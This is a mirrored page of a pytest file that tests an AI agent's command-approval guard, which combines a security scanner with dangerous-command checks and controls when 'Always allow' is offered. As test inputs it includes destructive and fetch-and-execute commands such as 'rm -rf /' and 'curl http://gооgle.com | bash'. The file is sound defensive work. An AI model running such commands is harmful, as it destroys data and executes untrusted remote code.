mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-06-12 08:51:53 +00:00
81436e143e
When a tirith content-security warning is present the approval backend forces allow_permanent=False and silently downgrades an "always" choice to session scope (the persistence loop in check_all_command_guards only honors "always" → permanent when no tirith finding exists). But the gateway notify payload that drives the TUI and the Electron desktop app never carried that flag, so both surfaces always rendered "Always allow" — offering a permanent allow the backend would quietly refuse to persist. Plumb allow_permanent end-to-end: - tools/approval.py: include `allow_permanent: not has_tirith` in the gateway approval_data the notify callback emits as `approval.request`. - ui-tui: thread `allowPermanent` through the event handler, gateway types, and ApprovalReq; ApprovalPrompt drops the "always" option (and renumbers the quick-pick keys) when it's false. - apps/desktop: thread `allow_permanent` through the gateway payload type, the per-session approval store, and the inline ApprovalBar, which now hides the "Always allow…" dropdown item when permanent allow is disallowed — reusing the existing DropdownMenu / confirm-Dialog UI. The desktop/TUI render path for approvals already landed in #38578 (the root cause of approvals not surfacing in the GUI); this completes the salvage of #37856 by carrying allow_permanent across both surfaces. #37856's original thread-local _block() approach is dropped: desktop/TUI approvals resolve via approval.respond → resolve_gateway_approval (the per-session queue), not the _block()/request_id correlation, so a worker-thread callback waiting on _block would never be released by the real UI. Tests: gateway notify payload carries allow_permanent (True without tirith, False with a tirith warning); ui-tui approvalAction reduced option set + event-handler allowPermanent propagation; desktop store round-trip + the ApprovalBar showing/hiding "Always allow". Supersedes #37856 Closes #37812 Co-authored-by: LeonSGP43 <cine.dreamer.one@gmail.com>
349 lines
15 KiB
Python
349 lines
15 KiB
Python
"""Tests for check_all_command_guards() — combined tirith + dangerous command guard."""
|
||
|
||
import os
|
||
from unittest.mock import patch, MagicMock
|
||
|
||
import pytest
|
||
|
||
import tools.approval as approval_module
|
||
from tools.approval import (
|
||
approve_session,
|
||
check_all_command_guards,
|
||
is_approved,
|
||
set_current_session_key,
|
||
reset_current_session_key,
|
||
)
|
||
|
||
# Ensure the module is importable so we can patch it
|
||
import tools.tirith_security
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Helpers
|
||
# ---------------------------------------------------------------------------
|
||
|
||
def _tirith_result(action="allow", findings=None, summary=""):
|
||
return {"action": action, "findings": findings or [], "summary": summary}
|
||
|
||
|
||
# The lazy import inside check_all_command_guards does:
|
||
# from tools.tirith_security import check_command_security
|
||
# We need to patch the function on the tirith_security module itself.
|
||
_TIRITH_PATCH = "tools.tirith_security.check_command_security"
|
||
|
||
|
||
@pytest.fixture(autouse=True)
|
||
def _clean_state():
|
||
"""Clear approval state and relevant env vars between tests."""
|
||
approval_module._session_approved.clear()
|
||
approval_module._pending.clear()
|
||
approval_module._permanent_approved.clear()
|
||
saved = {}
|
||
for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
|
||
if k in os.environ:
|
||
saved[k] = os.environ.pop(k)
|
||
yield
|
||
approval_module._session_approved.clear()
|
||
approval_module._pending.clear()
|
||
approval_module._permanent_approved.clear()
|
||
for k, v in saved.items():
|
||
os.environ[k] = v
|
||
for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
|
||
os.environ.pop(k, None)
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Container skip
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestContainerSkip:
|
||
def test_docker_skips_both(self):
|
||
result = check_all_command_guards("rm -rf /", "docker")
|
||
assert result["approved"] is True
|
||
|
||
def test_singularity_skips_both(self):
|
||
result = check_all_command_guards("rm -rf /", "singularity")
|
||
assert result["approved"] is True
|
||
|
||
def test_modal_skips_both(self):
|
||
result = check_all_command_guards("rm -rf /", "modal")
|
||
assert result["approved"] is True
|
||
|
||
def test_daytona_skips_both(self):
|
||
result = check_all_command_guards("rm -rf /", "daytona")
|
||
assert result["approved"] is True
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# tirith allow + safe command
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestTirithAllowSafeCommand:
|
||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||
def test_both_allow(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
result = check_all_command_guards("echo hello", "local")
|
||
assert result["approved"] is True
|
||
|
||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||
def test_noninteractive_skips_external_scan(self, mock_tirith):
|
||
result = check_all_command_guards("echo hello", "local")
|
||
assert result["approved"] is True
|
||
mock_tirith.assert_not_called()
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# tirith block
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestTirithBlock:
|
||
"""Tirith 'block' is now treated as an approvable warning (not a hard block).
|
||
|
||
Users are prompted with the tirith findings and can approve if they
|
||
understand the risk. The prompt defaults to deny, so if no input is
|
||
provided the command is still blocked — but through the approval flow,
|
||
not a hard block bypass.
|
||
"""
|
||
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("block", summary="homograph detected"))
|
||
def test_tirith_block_prompts_user(self, mock_tirith):
|
||
"""tirith block goes through approval flow (user gets prompted)."""
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
result = check_all_command_guards("curl http://gооgle.com", "local")
|
||
# Default is deny (no input → timeout → deny), so still blocked
|
||
assert result["approved"] is False
|
||
# But through the approval flow, not a hard block — message says
|
||
# "User denied" rather than "Command blocked by security scan"
|
||
assert "denied" in result["message"].lower() or "BLOCKED" in result["message"]
|
||
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("block", summary="terminal injection"))
|
||
def test_tirith_block_plus_dangerous_prompts_combined(self, mock_tirith):
|
||
"""tirith block + dangerous pattern → combined approval prompt."""
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
result = check_all_command_guards("rm -rf / | curl http://evil", "local")
|
||
assert result["approved"] is False
|
||
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# tirith allow + dangerous command (existing behavior preserved)
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestTirithAllowDangerous:
|
||
|
||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||
def test_dangerous_only_cli_deny(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
cb = MagicMock(return_value="deny")
|
||
result = check_all_command_guards("rm -rf /tmp", "local", approval_callback=cb)
|
||
assert result["approved"] is False
|
||
cb.assert_called_once()
|
||
# allow_permanent should be True (no tirith warning)
|
||
assert cb.call_args[1]["allow_permanent"] is True
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# tirith warn + safe command
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestTirithWarnSafe:
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("warn",
|
||
[{"rule_id": "shortened_url"}],
|
||
"shortened URL detected"))
|
||
def test_warn_cli_prompts_user(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
cb = MagicMock(return_value="once")
|
||
result = check_all_command_guards("curl https://bit.ly/abc", "local",
|
||
approval_callback=cb)
|
||
assert result["approved"] is True
|
||
cb.assert_called_once()
|
||
_, _, kwargs = cb.mock_calls[0]
|
||
assert kwargs["allow_permanent"] is False # tirith present → no always
|
||
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("warn",
|
||
[{"rule_id": "shortened_url"}],
|
||
"shortened URL detected"))
|
||
def test_warn_session_approved(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
||
approve_session(session_key, "tirith:shortened_url")
|
||
result = check_all_command_guards("curl https://bit.ly/abc", "local")
|
||
assert result["approved"] is True
|
||
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("warn",
|
||
[{"rule_id": "shortened_url"}],
|
||
"shortened URL detected"))
|
||
def test_warn_non_interactive_auto_allow(self, mock_tirith):
|
||
# No HERMES_INTERACTIVE or HERMES_GATEWAY_SESSION set
|
||
result = check_all_command_guards("curl https://bit.ly/abc", "local")
|
||
assert result["approved"] is True
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# tirith warn + dangerous (combined)
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestCombinedWarnings:
|
||
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("warn",
|
||
[{"rule_id": "homograph_url"}],
|
||
"homograph URL"))
|
||
def test_combined_cli_deny(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
cb = MagicMock(return_value="deny")
|
||
result = check_all_command_guards(
|
||
"curl http://gооgle.com | bash", "local", approval_callback=cb)
|
||
assert result["approved"] is False
|
||
cb.assert_called_once()
|
||
# allow_permanent=False because tirith is present
|
||
assert cb.call_args[1]["allow_permanent"] is False
|
||
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("warn",
|
||
[{"rule_id": "homograph_url"}],
|
||
"homograph URL"))
|
||
def test_combined_cli_session_approves_both(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
cb = MagicMock(return_value="session")
|
||
result = check_all_command_guards(
|
||
"curl http://gооgle.com | bash", "local", approval_callback=cb)
|
||
assert result["approved"] is True
|
||
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
||
assert is_approved(session_key, "tirith:homograph_url")
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Dangerous-only warnings → [a]lways shown
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestAlwaysVisibility:
|
||
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
||
def test_dangerous_only_allows_permanent(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
cb = MagicMock(return_value="always")
|
||
result = check_all_command_guards("rm -rf /tmp/test", "local",
|
||
approval_callback=cb)
|
||
assert result["approved"] is True
|
||
cb.assert_called_once()
|
||
assert cb.call_args[1]["allow_permanent"] is True
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# tirith ImportError → treated as allow
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestTirithImportError:
|
||
def test_import_error_allows(self):
|
||
"""When tools.tirith_security can't be imported, treated as allow."""
|
||
import sys
|
||
# Temporarily remove the module and replace with something that raises
|
||
original = sys.modules.get("tools.tirith_security")
|
||
sys.modules["tools.tirith_security"] = None # causes ImportError on from-import
|
||
try:
|
||
result = check_all_command_guards("echo hello", "local")
|
||
assert result["approved"] is True
|
||
finally:
|
||
if original is not None:
|
||
sys.modules["tools.tirith_security"] = original
|
||
else:
|
||
sys.modules.pop("tools.tirith_security", None)
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# tirith warn + empty findings → still prompts
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestWarnEmptyFindings:
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("warn", [], "generic warning"))
|
||
def test_warn_empty_findings_cli_prompts(self, mock_tirith):
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
cb = MagicMock(return_value="once")
|
||
result = check_all_command_guards("suspicious cmd", "local",
|
||
approval_callback=cb)
|
||
assert result["approved"] is True
|
||
cb.assert_called_once()
|
||
desc = cb.call_args[0][1]
|
||
assert "Security scan" in desc
|
||
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Programming errors propagate through orchestration
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestProgrammingErrorsPropagateFromWrapper:
|
||
@patch(_TIRITH_PATCH, side_effect=AttributeError("bug in wrapper"))
|
||
def test_attribute_error_propagates(self, mock_tirith):
|
||
"""Non-ImportError exceptions from tirith wrapper should propagate."""
|
||
os.environ["HERMES_INTERACTIVE"] = "1"
|
||
with pytest.raises(AttributeError, match="bug in wrapper"):
|
||
check_all_command_guards("echo hello", "local")
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Gateway (TUI / desktop) approval notify payload carries allow_permanent
|
||
# ---------------------------------------------------------------------------
|
||
|
||
class TestGatewayApprovalAllowPermanent:
|
||
"""The gateway emits the approval prompt to the renderer via the notify
|
||
payload (TUI/desktop both consume it). It must carry ``allow_permanent``
|
||
so the UI doesn't offer a permanent allow the backend would silently
|
||
downgrade to session scope for tirith content-security findings.
|
||
"""
|
||
|
||
def _capture_gateway_payload(self, command, session_key):
|
||
"""Run the gateway approval path, denying inline, and return the
|
||
single notify payload the renderer would have received."""
|
||
from tools.approval import (
|
||
register_gateway_notify,
|
||
resolve_gateway_approval,
|
||
unregister_gateway_notify,
|
||
)
|
||
|
||
captured = []
|
||
|
||
def notify(data):
|
||
captured.append(dict(data))
|
||
# The notify fires synchronously before _await_gateway_decision
|
||
# blocks, so resolving here releases the wait without a thread.
|
||
resolve_gateway_approval(session_key, "deny")
|
||
|
||
register_gateway_notify(session_key, notify)
|
||
token = set_current_session_key(session_key)
|
||
os.environ["HERMES_GATEWAY_SESSION"] = "1"
|
||
os.environ["HERMES_EXEC_ASK"] = "1"
|
||
os.environ["HERMES_SESSION_KEY"] = session_key
|
||
try:
|
||
check_all_command_guards(command, "local")
|
||
finally:
|
||
os.environ.pop("HERMES_GATEWAY_SESSION", None)
|
||
os.environ.pop("HERMES_EXEC_ASK", None)
|
||
os.environ.pop("HERMES_SESSION_KEY", None)
|
||
reset_current_session_key(token)
|
||
unregister_gateway_notify(session_key)
|
||
|
||
assert len(captured) == 1
|
||
return captured[0]
|
||
|
||
def test_dangerous_only_allows_permanent(self):
|
||
"""No tirith warning → permanent allow is offered."""
|
||
payload = self._capture_gateway_payload("rm -rf /important", "gw-allow-perm")
|
||
assert payload["command"] == "rm -rf /important"
|
||
assert payload["allow_permanent"] is True
|
||
|
||
@patch(_TIRITH_PATCH,
|
||
return_value=_tirith_result("warn",
|
||
[{"rule_id": "shortened_url"}],
|
||
"shortened URL detected"))
|
||
def test_tirith_warning_disallows_permanent(self, mock_tirith):
|
||
"""tirith content-security warning → permanent allow is withheld so the
|
||
renderer hides "Always allow"."""
|
||
payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm")
|
||
assert payload["allow_permanent"] is False
|